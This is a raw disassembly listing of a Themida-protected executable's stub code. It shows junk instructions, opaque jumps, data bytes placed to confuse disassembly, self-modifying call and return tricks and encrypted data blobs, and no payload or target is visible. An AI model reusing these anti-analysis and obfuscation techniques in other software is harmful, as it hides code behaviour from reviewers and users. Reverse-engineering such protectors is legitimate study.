		jbe	loc_54CA1E
		jbe	loc_54CA1E
		pusha
		popa


loc_54CA1E:				; CODE XREF: Themida_:0054CA10j
					; Themida_:0054CA16j
		xchg	eax, esi
		pusha
		sub	[ebp+6140BBDh],	esi
		jb	loc_54CA32
		jp	$+6


loc_54CA32:				; CODE XREF: Themida_:0054CA26j
		popa
		lodsw
		jmp	loc_54CA4E
; ---------------------------------------------------------------------------
		dw 13BBh
		dd 0B6FD2BEh, 38673E8Fh, 0B07800D6h, 1F47E6EEh
		db 17h,	0E0h
; ---------------------------------------------------------------------------


loc_54CA4E:				; CODE XREF: Themida_:0054CA35j
		pusha
		movsx	ecx, cx
		mov	ebx, 2EF9E862h
		popa
		shl	eax, 2
		mov	[ebp+6142C29h],	eax
		add	eax, [ebp+61418F1h]
		jnb	loc_54CA78
		jmp	loc_54CA78
; ---------------------------------------------------------------------------
		dw 0E856h
		dd 29C2AAE3h
; ---------------------------------------------------------------------------


loc_54CA78:				; CODE XREF: Themida_:0054CA67j
					; Themida_:0054CA6Dj
		xchg	eax, esi
		mov	[ebp+61418E1h],	edi
		lodsd
		jmp	loc_54CA8B
; ---------------------------------------------------------------------------
		push	esi
		sbb	[ebx-7Eh], dl
		adc	[edx], esp


loc_54CA8B:				; CODE XREF: Themida_:0054CA80j
		mov	ecx, [esp+24h]
		jmp	loc_54CA9A
; ---------------------------------------------------------------------------
		dd 270575C6h
		db 0A0h, 21h
; ---------------------------------------------------------------------------


loc_54CA9A:				; CODE XREF: Themida_:0054CA8Fj
		add	eax, [esp+24h]
		mov	[ebp+6142EA5h],	edi
		mov	[esp+1Ch], eax
		jmp	loc_54CABC
; ---------------------------------------------------------------------------
		db 6Ah,	1Bh, 0D2h
		dd 0C2F2978Ah, 936FEAA1h, 62B4CB20h
; ---------------------------------------------------------------------------


loc_54CABC:				; CODE XREF: Themida_:0054CAA8j
		xchg	eax, esi
		jz	loc_54CACD
		pusha
		mov	bh, al
		jnz	$+6
		popa


loc_54CACD:				; CODE XREF: Themida_:0054CABDj
		lodsb
		or	[ebp+6142D09h],	edx
		xor	cl, cl
		pusha
		pusha
		jo	$+6
		xor	[ebp+61413F5h],	edi
		popa
		popa
		inc	cl
		mov	[ebp+61408DDh],	edx


loc_54CAEE:				; CODE XREF: Themida_:0054CB30j
		rcl	al, 1
		jnb	loc_54CBBC
		add	[ebp+6142C55h],	edi
		rcl	al, 1
		jnb	loc_54CBBC
		jmp	loc_54CB10
; ---------------------------------------------------------------------------
		cmp	al, [esi-29B34810h]
		dec	esp


loc_54CB10:				; CODE XREF: Themida_:0054CB04j
		rcl	al, 1
		jb	loc_54CBBC
		pusha
		movsx	esi, si
		movzx	ecx, di
		popa
		rcl	al, 1
		jb	loc_54CBBC
		sub	[ebp+6141A89h],	edi
		dec	cl
		jns	loc_54CAEE
		js	loc_54CB44
		pusha
		mov	eax, [ebp+6140601h]
		popa


loc_54CB44:				; CODE XREF: Themida_:0054CB36j
		stc
		add	esp, 20h
		pusha
		movsx	esi, bx
		mov	di, 4521h
		popa
		mov	dword ptr [esp-4], 0
		js	loc_54CB65
		add	[ebp+6142F65h],	edx


loc_54CB65:				; CODE XREF: Themida_:0054CB59j
		mov	eax, 1
		jmp	loc_54CB7B
; ---------------------------------------------------------------------------
		db 2Fh
		dd 74221981h, 9109D443h
		db 0A9h, 0EAh, 27h
; ---------------------------------------------------------------------------


loc_54CB7B:				; CODE XREF: Themida_:0054CB6Aj
		jb	loc_54CB93
		jmp	loc_54CB93
; ---------------------------------------------------------------------------
		dw 0CB14h
		dd 0A41F1EE8h, 0C346C478h
		db 0DFh, 0B9h, 26h
; ---------------------------------------------------------------------------


loc_54CB93:				; CODE XREF: Themida_:loc_54CB7Bj
					; Themida_:0054CB81j
		lea	ecx, [ebp+61470F0h]
		pusha
		jmp	loc_54CBB2
; ---------------------------------------------------------------------------
		db 0EEh
		dd 0A2216CC4h, 75C4BDFBh, 3CFCA92Bh, 159F7ECFh
; ---------------------------------------------------------------------------
		dec	dword ptr [edi]


loc_54CBB2:				; CODE XREF: Themida_:0054CB9Aj
		mov	[ebp+61424A5h],	ebx
		popa
		jmp	ecx
; ---------------------------------------------------------------------------
		cld


loc_54CBBC:				; CODE XREF: Themida_:0054CAF0j
					; Themida_:0054CAFEj ...
		mov	byte ptr [ebp+6141A59h], 0
		or	[ebp+6142661h],	edi
		popa
		jg	loc_54CBE9
		jmp	loc_54CBE9
; ---------------------------------------------------------------------------
		db 0Ch,	47h, 0D5h
		dd 54019261h, 3EE50CF5h, 0EE0B307Dh, 0E4672A0Fh
		db 1Bh
; ---------------------------------------------------------------------------


loc_54CBE9:				; CODE XREF: Themida_:0054CBCAj
					; Themida_:0054CBD0j
		ja	locret_54CBFE
		jmp	locret_54CBFE
; ---------------------------------------------------------------------------
		dd 0E1A13BD4h, 7ACF98F0h
; ---------------------------------------------------------------------------
		fdiv	st, st(1)

locret_54CBFE:				; CODE XREF: Themida_:loc_54CBE9j
					; Themida_:0054CBEFj
		retn	8
; ---------------------------------------------------------------------------
		db 60h,	0Fh, 0B7h
		dd 0CF8166DBh
		db 60h,	78h, 61h
byte_54CC0B	db 50h			; DATA XREF: Themida_:0054B6B4o
		dd 0BE605250h, 2029B60Fh, 60310F61h, 0E451ACBEh, 61CE8B51h
		dd 3489585Ah, 0F880F24h, 0E9000000h, 0Ah, 9F9BB7D5h, 108B9368h
		dd 3160F4FDh, 140AF995h, 0C19D8B06h, 6106141Ah,	41E0B589h
		dd 66600614h, 9823E781h, 0E101E081h, 89615A05h,	1441EB8Dh
		dd 0B58DF906h, 61440DCh, 0FE9h,	9BF49100h, 0D1A7853Ah
		dd 6B6D9920h, 0AE8610AEh, 8EA1858Dh, 8960005Bh,	1413DDB5h
		dd 0F1B58906h, 6106142Eh, 8E9D0FFh, 45000000h, 0B0A4D7FDh
		dd 5EF1237Ah, 14E9C3F9h, 0D2000000h, 5360BAD6h,	8C95032Ah
		dd 6EF63DD7h, 3C3CDB9Eh, 8B7BD98Fh, 1441E0B5h, 0F1BD8906h
		dd 8B061402h, 1441EB8Dh, 59B50906h, 0B8061413h,	0
; ---------------------------------------------------------------------------
		mov	[ebp+6140A7Dh],	eax
		mov	ebx, ecx
		pusha
		mov	[ebp+6142659h],	eax
		popa
		jmp	loc_54CD96
; ---------------------------------------------------------------------------
		jl	loc_54CCFE
		jmp	loc_54CCFE
; ---------------------------------------------------------------------------
		dd 76BAF48Ah
; ---------------------------------------------------------------------------
		jg	short loc_54CD27


loc_54CCFE:				; CODE XREF: Themida_:0054CCEDj
					; Themida_:0054CCF3j ...
		xor	ah, [esi]
		or	[ebp+6142A85h],	edx
		mov	dl, 2
		clc
		jmp	loc_54CD6C
; ---------------------------------------------------------------------------
		or	[ebp+61408CDh],	edi


loc_54CD14:				; CODE XREF: Themida_:0054CD6Ej
		xor	al, dl
		jb	loc_54CD30
		jmp	loc_54CD30
; ---------------------------------------------------------------------------
		db 0ECh, 49h, 0D2h
; ---------------------------------------------------------------------------
		rcr	dh, 0ACh


loc_54CD27:				; CODE XREF: Themida_:0054CCFCj
		or	dl, [edx]
; ---------------------------------------------------------------------------
		db 8Dh,	0C2h, 62h
		dd 0CB38F36h
; ---------------------------------------------------------------------------


loc_54CD30:				; CODE XREF: Themida_:0054CD16j
					; Themida_:0054CD1Cj
		add	eax, 8A751D7Ah
		add	[ebp+6142511h],	edx
		mov	cl, ah
		sub	[ebp+61401B1h],	edx
		ror	eax, cl
		mov	[ebp+6142EC1h],	esi
		xor	eax, 98D10842h
		sub	[ebp+61410D5h],	eax
		or	[ebp+6141385h],	ecx
		dec	dl
		jmp	loc_54CD6C
; ---------------------------------------------------------------------------
		db 3Ah
; ---------------------------------------------------------------------------
		push	0B81B0864h
		sbb	al, 17h
		push	edi


loc_54CD6C:				; CODE XREF: Themida_:0054CD09j
					; Themida_:0054CD5Ej
		or	dl, dl
		jnz	loc_54CD14
		pusha
		mov	edi, [ebp+61412EDh]
		sbb	ebx, 2058F8B8h
		popa
		dec	ebx
		add	[ebp+6141165h],	edi
		add	[ebp+6140C75h],	edx
		inc	esi
		sub	[ebp+6142625h],	edi


loc_54CD96:				; CODE XREF: Themida_:0054CCE8j
		or	ebx, ebx
		jnz	loc_54CCFE
		pusha
		mov	ecx, [ebp+6142349h]
		jmp	loc_54CDBC
; ---------------------------------------------------------------------------
		dw 0D0A3h
		dd 0B5A850FFh, 63E8D690h, 0E283C274h, 0E3680FFCh
; ---------------------------------------------------------------------------


loc_54CDBC:				; CODE XREF: Themida_:0054CDA5j
		popa
		iret
; ---------------------------------------------------------------------------
		dw 0F5h
		dd 55950900h, 61402h, 0F800h, 18E9BD29h, 0DE90614h, 41000000h
		dd 80E852Bh, 3B874395h,	23921B2Ah, 8DFC0000h, 143B1385h
		dd 68D0F06h, 1000000h, 1434F98Dh, 11858906h, 0E9061423h
		dd 7, 0A7EB4EC1h, 8D4C23A7h, 14402C85h,	2DBD8906h, 8906142Eh
		dd 142AD585h, 14EB06h, 3 dup(0)
		dd 85000000h, 8D000000h, 14430C85h, 8D858906h, 83061410h
		dd 14424CBDh, 840F0006h, 12Ch, 1A5985C6h, 68560614h, 6C3FF16Bh
		dd 0CE240481h, 0FF67DF7Bh, 141145B5h, 13858D06h, 0FF06143Bh
		dd 408589D0h, 0C6061442h, 141A5985h, 0B3685606h, 814800A5h
		dd 129F2404h, 0B5FF54A8h, 6141145h, 3B13858Dh, 0D0FF0614h
		dd 42448589h, 46A0614h,	4E8h, 100000h, 448B5000h, 8B0424h
		dd 4244489h, 50858B58h,	5061442h, 1F4h,	5002E0C1h, 6A240489h
		dd 4495FF00h, 89061442h, 14424885h, 0B8D88B06h,	0FFFFFFFFh
		dd 108D95FFh, 0C38B0614h, 108D95FFh, 8DE90614h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_54CEEB:				; DATA XREF: Themida_:00549C6Co
		cmp	dword ptr [ebp+614424Ch], 0
		jnz	loc_54CEF9
		retn
; ---------------------------------------------------------------------------


loc_54CEF9:				; CODE XREF: Themida_:0054CEF2j
		push	edi
		mov	edi, [ebp+6144248h]
		stosd
		add	dword ptr [ebp+6144248h], 4
		pop	edi
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+614424Ch], 0
		jnz	loc_54CF18
		retn
; ---------------------------------------------------------------------------


loc_54CF18:				; CODE XREF: Themida_:0054CF11j
		pusha
		sub	dword ptr [ebp+6144248h], 4


loc_54CF20:				; CODE XREF: Themida_:loc_54CF73j
		mov	ebx, [ebp+6144248h]
		cmp	dword ptr [ebx-4], 0FFFFFFFFh
		jnz	loc_54CF56
		call	near ptr loc_54CF35+4


loc_54CF35:				; CODE XREF: Themida_:0054CF30p
		add	[eax-74B00000h], al
		inc	esp
		and	al, 4
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+6144240h]
		popa
		retn
; ---------------------------------------------------------------------------
		jmp	loc_54CF73
; ---------------------------------------------------------------------------


loc_54CF56:				; CODE XREF: Themida_:0054CF2Aj
		push	595F7A9Dh
		xor	dword ptr [esp], 595FFA9Dh
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+6144240h]
		sub	dword ptr [ebp+6144248h], 4


loc_54CF73:				; CODE XREF: Themida_:0054CF51j
		jmp	loc_54CF20
; ---------------------------------------------------------------------------
		dec	eax
		jmp	loc_54D951
; ---------------------------------------------------------------------------
		dw 83B6h
		dd 8EBDD441h, 1B9A9C83h, 0D607FFCDh, 9E94CDA8h,	19DF9098h
		dd 0E3616A50h, 4625D363h, 0A5EB637Ah, 0CCB6D941h, 0C88948Fh
		dd 0C416AC9Fh, 0D59B88AFh, 13AFF3F7h, 0E27C7E5Ah, 4625816Fh
		dd 0A6E46578h, 0CCACD941h, 13928990h, 0DA0AB29Fh, 0DB8F9FB4h
		dd 5F9B909Ch, 0F37C7A4Dh, 824D322h, 0B0F0656Dh,	83AAC041h
		dd 139C8991h, 91h, 62h dup(0)
		dd 83B60000h, 82B7DD41h, 0C928F9Fh, 0D81DAF9Fh,	96979FBCh
		dd 0C9E96DDh, 0E26A7D1Fh, 4736812Dh, 0E2E16461h, 82B6C513h
		dd 5E9A959Fh, 0CE4FB1D6h, 0DB8498B4h, 0B8C878Eh, 8D21725Ah
		dd 4D3CF14Eh, 0EEE07975h, 80B6C541h, 5E999A99h,	0D14FABD6h
		dd 0DB9B82A9h, 10929B90h, 0E62F664Dh, 5A70C52Dh, 0A3F17971h
		dd 95F8C413h, 5E8F8E99h, 0D000ADCFh, 0D59B8CA9h, 48h dup(0)
		dd 83B60000h, 8DAAD341h, 0C989095h, 0C34FAC98h,	0DB9A82B4h
		dd 5F8C9F95h, 0E96A7A5Dh, 5D3FC763h, 0B0A56E7Ah, 85B6DE14h
		dd 17DD9C98h, 0D816FFD1h, 88D69FAEh, 1A8B8D84h,	8A053152h
		dd 4935CD13h, 0E2A96F67h, 83B4DE14h, 17DD9F97h,	0C509FFCBh
		dd 96D680B4h, 0D909398h, 0E96E3F46h, 4D228127h,	0B0E47E67h
		dd 83A19015h, 0EDD8983h, 0C508B0CDh, 0D880BAh, 61h dup(0)
		dd 84B60000h, 0CCBDDC08h, 0C8F9495h, 0D21BAFCAh, 0DBD8CCBFh
		dd 0C9696A9h, 0E87D6F1Fh, 4531D324h, 0B1E46234h, 89BDD241h
		dd 1F90DB98h, 0C21FB6D1h, 9E828CB7h, 119EDE99h,	0E6623F5Bh
		dd 2235C33Ah, 0E5F16319h, 82B19012h, 0A9E9E90h,	0D54FBBDAh
		dd 0DB97CDA2h, 0A8D97ABh, 0F5603F4Ch, 4922C263h, 0A6E06177h
		dd 848C904Fh, 18DD889Fh, 970AB3D6h, 0DC9882ACh,	1088DE89h
		dd 0E62F744Dh, 473DD82Dh, 0AB6F66h, 0E0h dup(0)
		dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0)
aExitStatusD	db 'Exit Status = %d',0
		align 4
		dd 0
		db 0
; ---------------------------------------------------------------------------


loc_54D951:				; CODE XREF: Themida_:0054CF79j
		jmp	loc_550561
; ---------------------------------------------------------------------------
		mov	ebx, edi
		cld
		sub	edx, 364DF8E6h
		mov	eax, eax
		sub	[ebp+6141FE5h],	ebx
		cmp	dword ptr [ebp+61430B1h], 0
		jnz	short loc_54D979
		cmp	dword ptr [ebp+6141AE1h], 0
		jz	short loc_54D98C


loc_54D979:				; CODE XREF: Themida_:0054D96Ej
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 1
		lea	ebx, [ebp+616B5DCh]
		call	ebx
		pop	ebx
		pop	eax


loc_54D98C:				; CODE XREF: Themida_:0054D977j
		cmp	dword ptr [ebp+6141AE1h], 0
		jz	short loc_54D9A6
		push	eax
		push	ebx
		mov	eax, 1
		lea	ebx, [ebp+616B48Dh]
		call	ebx
		pop	ebx
		pop	eax


loc_54D9A6:				; CODE XREF: Themida_:0054D993j
		mov	ebx, 145DED41h
		mov	ebx, [ebp+6140355h]
		mov	eax, eax
		add	[ebp+61423EDh],	edx
		mov	bx, 44EAh
		cmp	dword ptr [ebp+6140B05h], 0
		jz	loc_54DB36
		push	0
		push	eax
		call	sub_54D9D5
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54D9D5	proc near		; CODE XREF: Themida_:0054D9CDp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_54D9D5	endp

; ---------------------------------------------------------------------------
		db 5, 45h, 83h
		dd 140441BDh, 840F0006h, 142h, 262D952Bh, 6A600614h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 3CE3C352h, 0CDF19EE4h, 0D38166B8h, 858B9C9Dh, 6140441h
		dd 5DAB70Fh, 3E8h, 6519D8Bh, 0E9500614h, 14h, 0ABC17978h
		dd 299CD1CBh, 0C3CA593Eh, 0B6EED83h, 0F47F6B9Ch, 6A240489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 2568C356h, 1D9C0588h, 654AA9B1h, 73E541BBh
		dd 59858D33h, 8B06144Dh, 0CB8166D1h, 60500488h,	8B74B866h
		dd 0F28B5250h, 8E9310Fh, 52000000h, 0D81CABB4h,	5AFC8E73h
		dd 4896158h, 6C88BA24h,	0DF8054D3h, 37858DA8h, 8B06144Dh
		dd 66B790DAh, 90F88A50h, 95FF07B3h, 6141509h, 25C59D8Bh
		dd 0C4830614h, 0A99D890Ch, 8D061408h, 144D3785h, 3D9D8906h
		dd 8B061422h, 140D3595h, 4895006h, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0DE13DB93h
		dd 0FDCDC9Dh, 0AABAD6BFh, 6A68EEBCh, 69B58902h,	89061415h
		dd 140595BDh, 1495FF06h, 66006AEDh, 610965BBh, 31B19503h
; ---------------------------------------------------------------------------
		adc	al, 6


loc_54DB36:				; CODE XREF: Themida_:0054D9C4j
		mov	dword ptr [ebp+6144D6Ah], 1
		push	0
		push	eax
		call	sub_54DB4B
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54DB4B	proc near		; CODE XREF: Themida_:0054DB43p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_54DB4B	endp

; ---------------------------------------------------------------------------
		cmp	esp, esi
		retf	0C15Ah
; ---------------------------------------------------------------------------
		dd 0BE85006h, 0D0000000h, 0F5FC7D8h, 0C5ACAF15h, 52500382h
		dd 800Fh, 310F0000h, 310F5250h,	585A585Ah, 2434895Ah, 1FD9BD89h
		dd 0B5890614h, 6144D1Bh, 0ECC38166h, 0CDBD8373h, 1061412h
		dd 39850Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 170424h, 53430000h, 73B59DC3h, 5F883D5h, 11850Fh, 9D8B0000h
		dd 6142661h, 0B8h, 91858900h, 83061411h, 140051BDh, 840F0006h
		dd 40h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h
		dd 0D3C35040h, 8B602247h, 1425CD95h, 5195FF06h,	0E9061400h
		dd 0Bh,	4C45E053h, 32C067Ch, 61918177h,	0FC27CA80h, 1A99BD83h
		dd 0F000614h, 3184h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 0BFA89A13h, 0AE99D8Bh
		dd 0B80614h, 8B000000h,	0C38166DFh, 0F60CCA9h, 1689h, 0AE800h
		dd 9BEA0000h, 3F6AA680h, 5A241A04h, 8E0Fh, 8B5B0000h, 142D0185h
		dd 6EEB8106h, 836E2CEDh, 0DF8B02C0h, 4D138589h,	81660614h
		dd 0C64362EAh, 9EB3FF00h, 1A5985C6h, 8B530614h,	14263D95h
		dd 4E806h, 48D80000h, 800FFCB1h, 12h, 0DE9h, 23C7EC00h
		dd 65C78E2Ch, 0C42E6456h, 8A50B92Ch, 24448BDDh,	8BD68B04h
		dd 89DF8B00h, 53042444h, 5BD88B66h, 3880F58h, 80000000h
		dd 49B7D7EBh, 1AD1B5FFh, 89600614h, 1419E9BDh, 36DB8006h
		dd 0DB858D61h, 89061780h, 141FD985h, 0A0F2BA06h, 0D0FF6046h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0EEC35545h
		dd 516FD868h, 0BB66528Eh, 8589EF79h, 6141169h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 89C35040h, 0BA91361Ch
		dd 0FD4A826h, 1D51BD83h, 0F010614h, 0FF85h, 11958B00h
		dd 61061414h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 14h,	8AC35646h, 1A5985C6h, 89450614h, 1431218Dh, 2E536806h
		dd 5250D90Bh, 9E8h, 72197100h, 15695D55h, 0DE81E19h, 94000000h
		dd 96231185h, 86F476A1h, 8707AD9Ah, 310F5A5Ah, 0FEE0BB66h
		dd 481585Ah, 550A6F24h,	69958901h, 0FF06140Ah, 141AD1B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 33791A93h, 0B89965E0h, 80DB858Dh, 0CE90617h
		dd 0D5000000h, 9C092921h, 6AF1E5E1h, 0FFA806C0h, 53006AD0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0BF0FFF34h, 6A006ADAh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0BCFBC355h,	0A1DB589h
		dd 0D0FF0614h, 8D315BB7h, 614321Dh, 829BD83h, 0F010614h
		dd 0C585h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1704h, 0C3514100h, 333E4396h, 25CD9D89h, 8B660614h
		dd 1858BD8h, 0E806142Dh, 5, 8BBDC007h, 2195338Ah, 5B06142Eh
		dd 2DE9h, 9F38100h, 502A3E56h, 64BE6660h, 4896179h, 0FBBB6624h
		dd 8B146A6Fh, 6995FFDEh, 89061411h, 14207185h, 0CB816606h
		dd 6658FF6Ch, 3880D68Bh, 0D0850F00h, 6AFFFFFFh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 826DC352h, 100C61Bh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0F3C35242h, 85DCF414h, 7CB3FFE9h, 2EC19D8Bh
		dd 0E9610614h, 5, 0AE37696Fh, 65BD8364h, 6141Dh, 78840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 9BC6CFC3h, 6AFF6Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 0F6DE0AC3h, 38F3F449h
		dd 9D8B59D2h, 61431E1h,	116995FFh, 0D68B0614h, 0FFFFC7E9h
		dd 55006AFFh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0EB81661Bh, 85C7C505h, 6141D65h,	1, 0FF34C281h
		dd 85893631h, 6144D1Fh,	0B359D8Bh, 0B3500614h, 240489DEh
		dd 8E0F60F9h, 6, 8A0Fh,	56A0000h, 0BD9958Bh, 0BB660614h
		dd 858D1C3Ch, 6144D37h,	50D88B66h, 8B665250h, 57310FD9h
		dd 8CFABB66h, 89585A5Ah, 0BA662404h, 858DC537h,	6144D27h
		dd 330CE281h, 8B900B0Eh, 8E0F50D0h, 0Ah, 0F595160h, 82h
		dd 6A906100h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 74ECC352h, 3D3D9C25h, 95FF4154h
		dd 6142F55h, 142D9589h,	8D8D0614h, 61478CEh, 0A40BB66h
		dd 1174C00Bh, 4D37858Dh, 0FF500614h, 558589D1h,	0EB06144Dh
		dd 5585C70Ah, 0FF06144Dh, 6AFFFFFFh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0D599C357h
		dd 0B3524743h, 0FDBD8924h, 6106140Ah, 0A0D9D8Bh, 85C60614h
		dd 6141A59h, 0E1958B4Dh, 68061409h, 0F4532D51h,	0C830Fh
		dd 8F0F0000h, 6, 310F5250h, 3481585Ah, 665BF924h, 0AD9D8B50h
		dd 0F061420h, 68Ah, 819D8B00h, 0FF06141Dh, 142255B5h, 1D9D8906h
		dd 8D061432h, 1780DB85h, 7E906h, 3A640000h, 8EAD088h, 81D0FFD1h
		dd 496CE3D2h, 0C1858952h, 0C6061402h, 141A5985h, 9D8B4506h
		dd 6140361h, 0D45ACA68h, 81D18BADh, 33A32434h, 0B5FF23A6h
		dd 6141AD1h, 19799D31h,	858D0614h, 61780DBh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 68C35343h, 0BE8A03D1h
		dd 57E79D8Bh, 0CE8h, 7A172900h,	0A587DD50h, 6C8F293Fh
		dd 5B5B5742h, 0FD0FF5Ah, 89F5DEB7h, 142EF985h, 5D958B06h
		dd 8B061405h, 25E281D2h, 6654F270h, 0EE8D98Ch, 7E000000h
		dd 0FE3F44B1h, 8D5B445Dh, 9BBDD071h, 0B444BA0Dh, 0F65A564Fh
		dd 840F04C1h, 220h, 1C4D9501h, 11E90614h, 6A000001h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0AE70C356h, 17ADEA0Fh, 2421B58Bh, 0BD890614h, 614160Dh
		dd 1180C681h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 28681EC3h, 0FC8BDB6Bh, 3D9BD83h
		dd 0F000614h, 2C85h, 7AE9F800h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0A97EC350h
		dd 38D0Fh, 0B70F0000h, 3E83DFh,	4B840Fh, 85890000h, 61419E1h
		dd 56006A60h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 8646E1DFh, 870F146Ah, 6,	19E9950Bh, 95FF0614h
		dd 6141169h, 8061D18Bh,	0B2E9E3D3h, 89FFFFFFh, 140A358Dh
		dd 106C706h, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 69B1C353h, 0AA53E051h
		dd 66D08A60h, 61947CBAh, 4D1FBD83h, 0F050614h, 0F785h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 615DDDB6h, 1248C48Ah, 8D319EF3h,	61419C1h
		dd 753830BAh, 0F9B58B7Ch, 8B06142Eh, 14316195h,	8B576006h
		dd 141D4D85h, 89605F06h, 141D5595h
		dd 9E906h, 50630000h, 0FAE62BCCh, 61302468h, 64B961h, 0DF8B0000h
		dd 0FE83E80h, 1084h, 95895200h,	61401CDh, 18E95Ah, 0DE800000h
		dd 57E80A8h, 68840FC2h,	0F000000h, 581h, 49E3BB00h, 6A4670A8h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 2CDFC350h, 0EAA00A4Ah, 0B36FBB78h, 0F4917C4h
		dd 0FFFFA385h, 2D8D89FFh, 0E9061408h, 2Ch, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 54C35747h, 75CBBF19h
		dd 89464968h, 140571B5h, 0DFB70F06h, 9BD8358h, 6141Ch
		dd 1AD840Fh, 0B5890000h, 614228Dh, 2ED9958Bh, 6A600614h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0B880C351h, 8D0FC78Bh, 8,	2830Fh,	5B520000h
		dd 85C6DE8Bh, 6141A59h,	50006A54h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0A502D5FEh, 2EA59D2Bh
		dd 4E80614h, 0F4000000h, 0E9FF4EBEh, 7,	1707BDA4h, 50C88C98h
		dd 6E9h, 0B3D41D00h, 8B38AEA3h,	0B3042444h, 8B008B0Ch
		dd 244489DFh, 0F850F04h, 0E8000000h, 7,	0C11D6C40h, 60D10567h
		dd 6A585A61h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 235EC355h, 29E5735h, 89D78B66h
		dd 1418B9B5h, 0D1B5FF06h, 0E906141Ah, 8, 7C6CB196h, 0AC58F826h
		dd 80DB858Dh, 9D890617h, 6141C01h, 6AD0FFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 860F0DC3h
		dd 6, 0E15B501h, 6A0614h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 28C35545h, 81931CD4h,	8907E8CAh, 0E810F2Eh
		dd 60000000h, 7E9h, 0C0351200h,	0E672F01Bh, 9B5FF61h, 0BA06141Ch
		dd 4D96CA82h, 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 721791C3h, 4B45593h, 819326F9h
		dd 4292B1CAh, 0DE86145h, 0F7000000h, 0D876BD4Dh, 0B39153BDh
		dd 718327EEh, 9B99D03h,	0C75A0614h, 1429AD85h, 106h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 8160F889h, 0B6DABEE7h, 0F6B70F36h, 0D7B70F61h, 53006A60h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0DEDAA05Ah, 0CCFFDC86h, 15E19533h, 4E80614h,	80000000h
		dd 0BA000000h, 6AFA31C7h, 10E850h, 0C6ED0000h, 7272A449h
		dd 2541AAE0h, 0FEFD82C7h, 0E956D473h, 7, 88101048h, 5AD6A006h
		dd 24448B5Ah, 8E0F6004h, 4, 83C9BB66h, 6E9h, 0C283300h
		dd 61813C2Eh, 0D3BB008Bh, 8913BF9Fh, 56042444h,	0FE9h
		dd 0D614A500h, 6DE194C4h, 814EF783h, 56F6D50Ah,	9D8B585Ah
		dd 614002Dh, 19E1B509h,	0FF6A0614h, 9D19D8Bh, 95FF0614h
		dd 6143525h, 12E9h, 0FA5F8C00h,	550EC887h, 5263DE41h, 28448C54h
		dd 0E9C2A3E7h, 14h, 99CD587Fh, 0CDC4D5D0h, 2C2E3CCDh, 78EDFDEBh
